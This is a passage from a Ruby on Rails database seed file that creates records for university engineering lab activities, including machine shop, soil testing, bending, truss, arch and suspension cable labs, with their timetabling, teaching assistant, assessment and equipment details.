15, takedown_time: 15, notes: \"\",\n capacity: 12, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a28.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a28.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a28.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a28.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a28.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a29 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC1000\").first.id, code: \"100f\").first_or_create!(name: \"Engineering Applications Machine Shop 2\",\n name_abrv: \"EAMACH2\", archived: false, in_drive: true, user_id: 5)\n at29 = ActivityTimetable.where(activity_id: a29.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: $room_ms.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 12, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a29.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a29.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a29.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a29.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a29.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a30 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER120\").first.id, code: \"100g\").first_or_create!(name: \"Engineering Applications Machine Shop 3\",\n name_abrv: \"EAMACH3\", archived: false, in_drive: true, user_id: 5)\n at30 = ActivityTimetable.where(activity_id: a30.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: $room_ms.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 12, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a30.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a30.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a30.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a30.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a30.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a31 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1901\").first.id, code: \"100g\").first_or_create!(name: \"Engineering Applications Machine Shop 3\",\n name_abrv: \"EAMACH3\", archived: false, in_drive: true, user_id: 5)\n at31 = ActivityTimetable.where(activity_id: a31.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: $room_ms.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 12, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a31.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a31.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a31.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a31.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a31.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a32 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE101\").first.id, code: \"100g\").first_or_create!(name: \"Engineering Applications Machine Shop 3\",\n name_abrv: \"EAMACH3\", archived: false, in_drive: true, user_id: 1)\n at32 = ActivityTimetable.where(activity_id: a32.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: $room_ms.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 12, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a32.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a32.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a32.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a32.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a32.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a33 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC1000\").first.id, code: \"100g\").first_or_create!(name: \"Engineering Applications Machine Shop 3\",\n name_abrv: \"EAMACH3\", archived: false, in_drive: true, user_id: 1)\n at33 = ActivityTimetable.where(activity_id: a33.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: $room_ms.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 12, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a33.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a33.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a33.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a33.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a33.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a34 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1200\").first.id, code: \"201\").first_or_create!(name: \"Bridge Building\",\n name_abrv: \"BRIDGE BLD\", archived: false, in_drive: true, user_id: 2)\n at34 = ActivityTimetable.where(activity_id: a34.id).first_or_create!(duration: 180, kit_prep_time: 210, min_week_num: 8, max_week_num: 9, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 210, takedown_time: 210, notes: \"After Bridge Design, Need PUPS\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a34.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a34.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a34.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a34.id).first_or_create!(cost_per_student: nil, equip_needed: \"PUPs, band saws, hot wire cutters, dremels, laser cutters\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a34.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a35 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2500\").first.id, code: \"202\").first_or_create!(name: \"Triaxial Lab\",\n name_abrv: \"TRIAXIAL\", archived: false, in_drive: true, user_id: 3)\n at35 = ActivityTimetable.where(activity_id: a35.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 5, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 120, setup_time: 480, takedown_time: 480, notes: \"Given the complexity of the set-up, and the fact that it leaves the lab dirty, GEO labs should be condensed in the same week/weeks as consecutive sessions without interruptions (other sessions or open days)\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a35.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a35.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a35.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a35.id).first_or_create!(cost_per_student: nil, equip_needed: \"shimadzu, triaxial cells & trolleys, measuring kits, compressed air, weighing scales, large oven in materials lab\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a35.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a36 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV351\").first.id, code: \"202\").first_or_create!(name: \"Triaxial Lab\",\n name_abrv: \"TRIAXIAL\", archived: false, in_drive: true, user_id: 3)\n at36 = ActivityTimetable.where(activity_id: a36.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 5, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 120, setup_time: 480, takedown_time: 480, notes: \"Given the complexity of the set-up, and the fact that it leaves the lab dirty, GEO labs should be condensed in the same week/weeks as consecutive sessions without interruptions (other sessions or open days)\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a36.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a36.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a36.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a36.id).first_or_create!(cost_per_student: nil, equip_needed: \"shimadzu, triaxial cells & trolleys, measuring kits, compressed air, weighing scales, large oven in materials lab\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a36.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a37 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV351\").first.id, code: \"203\").first_or_create!(name: \"Oedometer\",\n name_abrv: \"OEDOMETER\", archived: false, in_drive: true, user_id: 2)\n at37 = ActivityTimetable.where(activity_id: a37.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 5, max_week_num: 7, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 120, setup_time: 480, takedown_time: 480, notes: \"Need PUPS (for setup)\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a37.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a37.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a37.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a37.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a37.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a38 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2500\").first.id, code: \"203\").first_or_create!(name: \"Oedometer\",\n name_abrv: \"OEDOMETER\", archived: false, in_drive: true, user_id: 5)\n at38 = ActivityTimetable.where(activity_id: a38.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 5, max_week_num: 7, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 120, setup_time: 480, takedown_time: 480, notes: \"Need PUPS (for setup)\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a38.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a38.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a38.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a38.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a38.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a39 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"204\").first_or_create!(name: \"Bending\",\n name_abrv: \"BEND\", archived: false, in_drive: true, user_id: 4)\n at39 = ActivityTimetable.where(activity_id: a39.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"Needs Shimadzu\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at39.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a39.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a39.id).first_or_create!(criteria: \"\",\n job_desc:\"In this lab, students perform 3-point bending tests on a series of beams with different cross-sections. Shimadzu tensometers are used to perform the tests, and the results are compared to predictions from classical beam theory. A knowledge of mechanical performance of materials is therefore required.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a39.id).first_or_create!(assess_weight: 10.0, notes: \"Lab report assessed by MEE\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a39.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a39.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a40 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2100\").first.id, code: \"205\").first_or_create!(name: \"Plastic Collapse: Frames\",\n name_abrv: \"PC Frames\", archived: false, in_drive: true, user_id: 1)\n at40 = ActivityTimetable.where(activity_id: a40.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"Needs GUNT equipment\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at40.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a40.id).first_or_create!(user_id: 4, g_drive_link: \"https://goo.gl/8xku3D\",\n mole_pub_link: \"https://goo.gl/hWmGBG\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a40.id).first_or_create!(criteria: \"Understanding of Mechanics of materials\",\n job_desc:\"In this lab, students will study the deformation and collapse of portal frames. This will build on their knowledge of the deformation and buckling of struts that they studies earlier in the course, showing them a practical application of the theory.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a40.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a40.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a40.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a41 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC202\").first.id, code: \"205\").first_or_create!(name: \"Plastic Collapse: Frames\",\n name_abrv: \"FRAMES\", archived: false, in_drive: true, user_id: 1)\n at41 = ActivityTimetable.where(activity_id: a41.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"Needs GUNT equipment\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at41.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a41.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a41.id).first_or_create!(criteria: \"It is essential for a GTA to have a strong understanding of Mechanics of materials. The ideal candidate should be familiar with plastic theory and proficient with Excel.\",\n job_desc:\"In this lab, students will study the deformation and collapse of portal frames. This will build on their knowledge of the deformation and buckling of struts that they studies earlier in the course, showing them a practical application of the theory.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a41.id).first_or_create!(assess_weight: nil, notes: \"MOLE Test\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a41.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a41.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a42 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER104\").first.id, code: \"206\").first_or_create!(name: \"Cantilever Truss\",\n name_abrv: \"Cantilever Truss\", archived: false, in_drive: true, user_id: 3)\n at42 = ActivityTimetable.where(activity_id: a42.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"Needs GUNT equipment\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at42.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a42.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a42.id).first_or_create!(criteria: \"It is essential for a GTA to have a strong understanding of statics. The ideal candidate should be familiar with the method of sections to solve a truss system.\",\n job_desc:\"In this lab, students study the behaviour of a truss element. Forces in each memebr are obtained using strain gauges. Students investigate the force redistrtibution for different loading configuration and use combintations of the latter to validate the principle of superposotion.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a42.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a42.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a42.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a43 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR136\").first.id, code: \"206\").first_or_create!(name: \"Cantilever Truss\",\n name_abrv: \"Trusses\", archived: false, in_drive: true, user_id: 3)\n at43 = ActivityTimetable.where(activity_id: a43.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: true, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at43.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a43.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://goo.gl/j7KZhd\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a43.id).first_or_create!(criteria: \"It is essential for a GTA to have a strong understanding of statics. The ideal candidate should be familiar with the method of sections to solve a truss system.\",\n job_desc:\"In this lab, students study the behaviour of a truss element. Forces in each memebr are obtained using strain gauges. Students investigate the force redistrtibution for different loading configuration and use combintations of the latter to validate the principle of superposotion.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a43.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a43.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a43.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a44 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1000\").first.id, code: \"206\").first_or_create!(name: \"Cantilever Truss\",\n name_abrv: \"Trusses\", archived: false, in_drive: true, user_id: 4)\n at44 = ActivityTimetable.where(activity_id: a44.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 7, max_week_num: 9, pref_room_id: $room_sd.id,\n same_as_prev_year: true, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"Needs GUNT equipment\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at44.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a44.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"https://goo.gl/SXd4jp\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a44.id).first_or_create!(criteria: \"It is essential for a GTA to have a strong understanding of statics. The ideal candidate should be familiar with the method of sections to solve a truss system.\",\n job_desc:\"In this lab, students study the behaviour of a truss element. Forces in each memebr are obtained using strain gauges. Students investigate the force redistrtibution for different loading configuration and use combintations of the latter to validate the principle of superposotion.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a44.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 3)\n ActivityTech.where(activity_id: a44.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a44.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a45 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1000\").first.id, code: \"207\").first_or_create!(name: \"Two-pinned Arch\",\n name_abrv: \"Arches\", archived: false, in_drive: true, user_id: 1)\n at45 = ActivityTimetable.where(activity_id: a45.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 12, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"Needs GUNT equipment\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at45.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a45.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://goo.gl/SALrcj\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a45.id).first_or_create!(criteria: \"It is essential for a GTA to have a strong understanding of statics. The ideal candidate should be familiar with arches.\",\n job_desc:\"In this lab, students investigate the behaviour of an elastic parabolic arch under uniformely distributed loading. Mid-span deflection is recorded using an analog transducer. Students will find the relationshipe between UDL and reaction force for which no bending moment is applied to the arch. The principle of superposition is applied to the mid-span deflection.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a45.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 3)\n ActivityTech.where(activity_id: a45.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a45.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a46 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1000\").first.id, code: \"208\").first_or_create!(name: \"Suspension Cable\",\n name_abrv: \"Cables\", archived: false, in_drive: true, user_id: 1)\n at46 = ActivityTimetable.where(activity_id: a46.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 11, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"Needs GUNT equipment\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at46.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a46.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"https://goo.gl/Ggzi6e\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a46.id).first_or_create!(criteria: \"It is essential for a GTA to have a strong understanding of statics. The ideal candidate should be familiar with suspension cables brideges and the cable-arch analogy.\",\n job_desc:\"In this lab, students test the ways in which a suspension cable responds to vertical loadings. They will determine the relationship between uniform load, reaction force and cable sag and they will investigate the cable-arch analogy.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a46.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 3)\n ActivityTech.where(activity_id: a46.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a46.id, 